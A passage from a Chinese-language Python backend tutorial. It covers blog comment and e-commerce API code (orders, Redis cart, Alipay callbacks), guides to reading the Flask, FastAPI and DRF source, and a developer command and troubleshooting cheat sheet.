article_id: int,
data: CommentCreate,
db: Session = Depends(get_db),
user = Depends(get_current_user),
):
article = db.session.get(Article, article_id)
if not article:
raise HTTPException(404, "文章不存在")
comment = Comment(
content=data.content,
article_id=article_id,
user_id=user.id,
parent_id=data.parent_id,
)
db.add(comment)
db.commit()
return {"code": 0, "data": CommentOut.model_validate(comment)}
不要只看代码——自己动手写一遍。遇到问题先 Google,再看文档,最后问 AI。完成这个项目后,你就具备了独立开发后端 API 的能力。推荐顺序:① 先搭项目结构。② 实现用户认证。③ 实现文章 CRUD。④ 实现评论系统。⑤ 加缓存和搜索。⑥ Docker 部署。
① 添加全文搜索(Elasticsearch)。② 添加 Redis 缓存(热门文章)。③ 添加 Celery 异步任务(邮件通知)。④ 添加 Rate Limiting(防刷)。⑤ 添加 WebSocket(实时评论通知)。⑥ 部署到云服务器。
电商系统是后端开发的"综合考试"——涵盖认证、权限、事务、缓存、队列、支付等所有核心能力。
# 订单创建(关键代码)
@app.post("/api/v1/orders")
def create_order(
order_in: OrderCreate,
db: Session = Depends(get_db),
user = Depends(get_current_user),
):
# 1. 检查库存(Redis 缓存)
for item in order_in.items:
stock = redis.get(f"stock:{item.product_id}")
if int(stock) < item.quantity:
raise BusinessError(40001, f"商品 {item.product_id} 库存不足")
# 2. 扣减库存(数据库事务)
try:
for item in order_in.items:
product = db.session.get(Product, item.product_id, with_for_update=True)
if product.stock < item.quantity:
raise BusinessError(40001, "库存不足")
product.stock -= item.quantity
# 3. 创建订单
order = Order(user_id=user.id, total=calculate_total(order_in.items))
db.add(order)
db.commit()
except Exception:
db.rollback()
raise
# 4. 发送延迟消息(30分钟未支付自动取消)
cancel_order.apply_async(args=[order.id], countdown=1800)
return {"order_id": order.id}
# 商品模型
class Product(Base):
__tablename__ = 'products'
id = Column(Integer, primary_key=True)
name = Column(String(200), nullable=False)
description = Column(Text)
price = Column(Numeric(10, 2), nullable=False)
stock = Column(Integer, default=0)
category_id = Column(Integer, ForeignKey('categories.id'))
images = Column(JSON) # 图片列表
status = Column(String(20), default='active')
created_at = Column(DateTime, default=lambda: datetime.now(datetime.UTC))
class SKU(Base):
__tablename__ = 'skus'
id = Column(Integer, primary_key=True)
product_id = Column(Integer, ForeignKey('products.id'))
sku_code = Column(String(50), unique=True) # SKU 编码
attributes = Column(JSON) # {"颜色": "红色", "尺寸": "XL"}
price = Column(Numeric(10, 2))
stock = Column(Integer, default=0)
# 商品 API
@router.get("/products")
def list_products(
category_id: int = None,
min_price: float = None,
max_price: float = None,
sort: str = "created_at",
page: int = 1,
size: int = 20,
db: Session = Depends(get_db),
):
query = db.query(Product).filter(Product.status == 'active')
if category_id:
query = query.filter(Product.category_id == category_id)
if min_price:
query = query.filter(Product.price >= min_price)
if max_price:
query = query.filter(Product.price <= max_price)
# 排序
sort_map = {
'price_asc': Product.price.asc(),
'price_desc': Product.price.desc(),
'sales': Product.sales.desc(),
'created_at': Product.created_at.desc(),
}
query = query.order_by(sort_map.get(sort, Product.created_at.desc()))
total = query.count()
products = query.offset((page-1)*size).limit(size).all()
return {"code": 0, "data": {"items": products, "total": total}}
# 购物车——用 Redis 存储
class CartService:
def __init__(self, redis_client):
self.redis = redis_client
def add_item(self, user_id: int, product_id: int, quantity: int):
key = f"cart:{user_id}"
# 检查商品是否存在
product = db.session.get(Product, product_id)
if not product or product.status != 'active':
raise BusinessError("商品不存在")
if product.stock < quantity:
raise BusinessError("库存不足")
# 添加到购物车(Redis Hash)
self.redis.hincrby(key, str(product_id), quantity)
self.redis.expire(key, 86400 * 7) # 7 天过期
def get_cart(self, user_id: int) -> list:
key = f"cart:{user_id}"
items = self.redis.hgetall(key)
result = []
for product_id, quantity in items.items():
product = db.session.get(Product, int(product_id))
if product:
result.append({
"product_id": product.id,
"name": product.name,
"price": float(product.price),
"quantity": int(quantity),
"subtotal": float(product.price) * int(quantity),
})
return result
def update_quantity(self, user_id: int, product_id: int, quantity: int):
key = f"cart:{user_id}"
if quantity <= 0:
self.redis.hdel(key, str(product_id))
else:
self.redis.hset(key, str(product_id), quantity)
def clear(self, user_id: int):
self.redis.delete(f"cart:{user_id}")
# 支付宝支付(简化示例)
from alipay.aop.api.domain.AlipayTradePagePayModel import AlipayTradePagePayModel
from alipay.aop.api.DefaultAlipayClient import DefaultAlipayClient
from alipay.aop.api.request.AlipayTradePagePayRequest import AlipayTradePagePayRequest
def create_alipay_order(order_id: str, amount: float, subject: str) -> str:
"""创建支付宝订单,返回支付链接"""
model = AlipayTradePagePayModel()
model.out_trade_no = order_id
model.total_amount = str(amount)
model.subject = subject
model.product_code = "FAST_INSTANT_TRADE_PAY"
request = AlipayTradePagePayRequest()
request.set_biz_model(model)
request.return_url = "https://example.com/api/payment/callback"
request.notify_url = "https://example.com/api/payment/notify"
response = alipay_client.page_execute(request, http_method="GET")
return response
# 支付回调(异步通知)
@router.post("/api/payment/notify")
async def payment_notify(request: Request):
data = await request.form()
# 验证签名
if not alipay_client.verify_notify(data):
return "fail"
order_id = data.get("out_trade_no")
trade_status = data.get("trade_status")
if trade_status == "TRADE_SUCCESS":
order = db.session.get(Order, order_id)
if order and order.status == 'pending':
order.status = 'paid'
order.paid_at = datetime.now(datetime.UTC)
db.commit()
# 发送订单确认邮件
send_order_confirmation.delay(order_id)
return "success"
不能先查库存再扣减——并发时可能超卖。必须用 SELECT ... FOR UPDATE 加行锁,或者用 Redis 原子操作(DECR)扣减。支付回调必须幂等——同一笔支付可能回调多次。订单超时未支付要自动取消(延迟队列)。
① 库存扣减(防超卖)。② 支付对接(异步回调 + 幂等)。③ 订单状态机(待支付→已支付→已发货→已完成→已取消)。④ 优惠计算(满减、折扣、优惠券)。⑤ 物流对接(快递100、菜鸟)。⑥ 高并发秒杀(Redis + 消息队列)。
① 用户系统(注册、登录、JWT)。② 商品系统(CRUD、分类、搜索)。③ 购物车(Redis)。④ 订单系统(创建、支付、状态流转)。⑤ 支付对接(支付宝/微信支付)。⑥ 后台管理(Django Admin)。⑦ 性能优化(缓存、异步)。⑧ 部署上线(Docker + Nginx)。
读源码是提升编程能力最快的方式——看看顶尖工程师是怎么写代码的。
fastapi/examples 开始。tiangolo/full-stack-fastapi-template,学习生产级项目结构。| 项目 | 代码量 | 学习重点 | 难度 |
|---|---|---|---|
| FastAPI Examples | ~2000 行 | 路由、依赖注入、中间件 | ⭐ |
| Flask | ~5000 行 | WSGI、路由、模板引擎 | ⭐⭐ |
| Requests | ~4000 行 | HTTP 客户端、Session | ⭐⭐ |
| Django REST Framework | ~30000 行 | 序列化、ViewSet、权限 | ⭐⭐⭐ |
| Django | ~300000 行 | ORM、中间件、Admin | ⭐⭐⭐⭐ |
# Flask 源码结构(只有 ~5000 行,适合精读)
flask/
├── __init__.py # 入口,导出核心 API
├── app.py # Flask 应用类(核心)
├── wrappers.py # Request/Response 封装
├── ctx.py # 请求上下文、应用上下文
├── blueprints.py # 蓝图系统
├── routing.py # 路由匹配
├── templating.py # Jinja2 模板集成
├── sessions.py # Session 实现
├── signals.py # 信号(事件系统)
└── cli.py # CLI 命令
# 阅读路线:
# 1. app.py → Flask 类 → __call__ 方法(WSGI 入口)
# 2. ctx.py → 请求上下文如何创建和销毁
# 3. routing.py → URL 如何匹配到视图函数
# 4. wrappers.py → Request/Response 对象封装
# 5. blueprints.py → 蓝图如何组织路由
# 核心代码片段(简化版 Flask)
class Flask:
def __init__(self):
self.url_map = {} # 路由表
self.before_request_funcs = [] # 前置钩子
def route(self, rule, **options):
def decorator(f):
self.url_map[rule] = f
return f
return decorator
def __call__(self, environ, start_response):
"""WSGI 入口"""
request = Request(environ)
response = self.dispatch_request(request)
return response(environ, start_response)
# FastAPI 的核心设计模式
# 1. 依赖注入(最核心的设计)
# 看 fastapi/dependencies/models.py
# 理解 Depends 如何解析和注入依赖
# 2. 路由注册
# 看 fastapi/routing.py
# @app.get("/users") 如何注册路由
# 3. 请求验证
# 看 fastapi/_compat.py
# Pydantic 模型如何自动验证请求参数
# 4. 响应处理
# 看 fastapi/responses.py
# 返回值如何自动序列化为 JSON
# 5. 中间件
# 看 fastapi/middleware/
# Starlette 中间件如何工作
# 阅读路线:
# 1. fastapi/app.py → FastAPI 类 → include_router
# 2. fastapi/routing.py → APIRouter → add_api_route
# 3. fastapi/dependencies/ → Depends 实现
# 4. fastapi/_compat.py → Pydantic 集成
# Django REST Framework 源码结构
rest_framework/
├── serializers.py # 序列化器(最常用)
├── viewsets.py # ViewSet(最核心)
├── routers.py # URL 路由器
├── permissions.py # 权限系统
├── pagination.py # 分页
├── throttling.py # 限流
├── authentication.py # 认证
└── generics.py # 通用视图
# 阅读路线:
# 1. serializers.py → ModelSerializer 如何自动映射字段
# 2. viewsets.py → ViewSet 如何聚合 CRUD 操作
# 3. routers.py → Router 如何自动生成 URL
# 4. generics.py → GenericAPIView 如何组合混入类
# 核心设计模式:Mixin 模式
class ListModelMixin:
def list(self, request):
queryset = self.get_queryset()
serializer = self.get_serializer(queryset, many=True)
return Response(serializer.data)
class ListCreateAPIView(ListModelMixin, CreateModelMixin, GenericAPIView):
"""组合多个 Mixin"""
pass
① 先看 README 了解项目定位。② 从入口文件开始(main.py / __init__.py)。③ 跟着请求的生命周期走(路由 → 中间件 → 视图 → 响应)。④ 不要试图理解每一行代码——抓住主干。⑤ 用 IDE 的"跳转到定义"功能。⑥ 画类图和调用链。⑦ 读测试代码(比文档更准确)。
① FastAPI 文档(fastapi.tiangolo.com)——最好的 Python 框架文档。② Django 文档(docs.djangoproject.com)——最全面。③ Flask 官方教程(flask.palletsprojects.com)——最经典。④ Real Python(realpython.com)——高质量教程。⑤ Full Stack Python(fullstackpython.com)——全栈知识图谱。⑥ Python Frameworks 对比(frameworkbenchmarks.org)——性能对比。
① 从小项目开始(FastAPI Examples → Flask → DRF)。② 不要贪多——精读一个比泛读十个有用。③ 自己动手实现一个简化版(学到的才是自己的)。④ 写源码阅读笔记(加深理解)。⑤ 参与开源贡献(修 bug、写文档、提 PR)。
最后一章,把全书的核心知识浓缩成速查表。遇到选择困难时翻到这里。
| 需求 | 推荐 | 原因 |
|---|---|---|
| 快速开发全栈 | Django | 内置 ORM、Admin、认证 |
| 纯 API 服务 | FastAPI | 自动文档、类型安全、高性能 |
| 学习原理 / 小项目 | Flask | 极简、灵活、学习成本低 |
| AI 应用后端 | FastAPI | 异步、高性能、Python 生态 |
| 需求 | 推荐 | 原因 |
|---|---|---|
| 结构化数据 | PostgreSQL | 功能最全、JSON 支持好 |
| 简单项目 / 读多写少 | MySQL | 流行、资料多 |
| 缓存 / Session | Redis | 极快、数据结构丰富 |
| 非结构化数据 | MongoDB | 灵活 Schema、文档模型 |
| 全文搜索 | Elasticsearch | 专业搜索引擎 |
| 规模 | 推荐 | 架构 |
|---|---|---|
| 个人项目 | 单机 | Nginx + Gunicorn + SQLite |
| 小型项目 | 单机 Docker | Docker Compose(Web + DB + Redis) |
| 中型项目 | 多机 | Nginx + 多台 Gunicorn + 主从 DB |
| 大型项目 | Kubernetes | K8s + 微服务 + 分布式 DB |
这本教程覆盖了 Python Web 后端开发从入门到架构的完整知识体系。但真正的学习从写代码开始——打开编辑器,从第 75 章的博客系统开始动手吧。记住:10% 的知识来自阅读,90% 来自实践。
# Python 环境
python -m venv venv && source venv/bin/activate # 创建虚拟环境
pip install -r requirements.txt # 安装依赖
pip freeze > requirements.txt # 导出依赖
# FastAPI
uvicorn app.main:app --reload --port 8000 # 启动开发服务器
uvicorn app.main:app --host 0.0.0.0 --workers 4 # 启动生产服务器
# Django
django-admin startproject mysite # 创建项目
python manage.py runserver # 启动开发服务器
python manage.py makemigrations # 创建迁移
python manage.py migrate # 执行迁移
python manage.py createsuperuser # 创建管理员
# Flask
flask run # 启动开发服务器
flask db migrate -m "message" # 创建迁移
flask db upgrade # 执行迁移
# 数据库
psql -U postgres -d mydb # 连接 PostgreSQL
mysql -u root -p mydb # 连接 MySQL
redis-cli # 连接 Redis
# Docker
docker build -t myapp . # 构建镜像
docker-compose up -d # 启动服务
docker-compose down # 停止服务
docker logs -f container_name # 查看日志
# 测试
pytest # 运行测试
pytest --cov=app --cov-report=html # 测试 + 覆盖率
pytest -k "test_login" # 运行匹配的测试
pytest -x # 第一个失败就停止
# 代码质量
ruff check . # 检查代码
ruff check --fix . # 自动修复
ruff format . # 格式化代码
pre-commit run --all-files # 运行所有检查
# Git
git checkout -b feature/xxx # 创建分支
git add . && git commit -m "message" # 提交
git push origin feature/xxx # 推送
git log --oneline -10 # 查看最近提交
| 问题 | 可能原因 | 解决方案 |
|---|---|---|
| 502 Bad Gateway | Gunicorn 没启动 | systemctl status myapp |
| 500 Internal Server Error | 代码异常 | 查看日志 tail -f logs/error.log |
| 数据库连接失败 | 连接池耗尽 / 密码错误 | 检查 DATABASE_URL 和连接数 |
| 接口响应慢 | N+1 查询 / 无索引 | EXPLAIN 分析 + 添加索引 |
| CORS 错误 | 未配置跨域 | 添加 CORS 中间件 |
| 内存泄漏 | 未关闭连接 / 全局变量 | 用 tracemalloc 定位 |
| Redis 连接超时 | Redis 挂了 / 密码错误 | redis-cli ping 检查 |
| SSL 证书过期 | Let's Encrypt 90 天过期 | certbot renew |
这本教程覆盖了 Python Web 后端开发从入门到架构的完整知识体系。但真正的学习从写代码开始——打开编辑器,从第 75 章的博客系统开始动手吧。记住:10% 的知识来自阅读,90% 来自实践。
技术更新很快——关注 FastAPI、Django 的版本更新,学习新的工具和架构模式。推荐关注:① Python Weekly 邮件列表。② Hacker News。③ GitHub Trending。④ 技术博客(Real Python、掘金、思否)。⑤ 官方文档永远是最好的学习资源。